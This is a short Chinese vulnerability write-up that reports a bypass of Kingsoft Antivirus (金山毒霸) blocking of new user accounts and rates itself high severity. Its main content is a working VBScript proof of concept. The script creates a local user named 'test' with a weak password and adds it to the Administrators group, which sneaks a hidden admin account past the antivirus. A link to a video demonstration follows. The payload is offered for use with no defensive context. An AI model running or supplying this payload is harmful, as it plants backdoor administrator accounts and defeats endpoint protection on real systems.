001-Bypass金山毒霸.md

650 B / 2021-07-17 00:01:38
    # 金山毒霸添加用拦截功能绕过

# 相关厂商

金山毒霸

# 漏洞类型

拦截绕过

# 自评危害等级

高危

# 详细介绍：

金山毒霸添加用拦截功能绕过

POC如下：

```bash
set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user","test"):od.SetPassword "password":od.SetInfo:Set of=GetObject(os&"/test",user):oe.add os&"/test"

```

![](images/15897830581174.png)


测试视频演示下载地址：https://pan.baidu.com/s/1YsRrLVeALZH0vudbCn6WPQ 0sec

链接如挂，请群内反馈,谢谢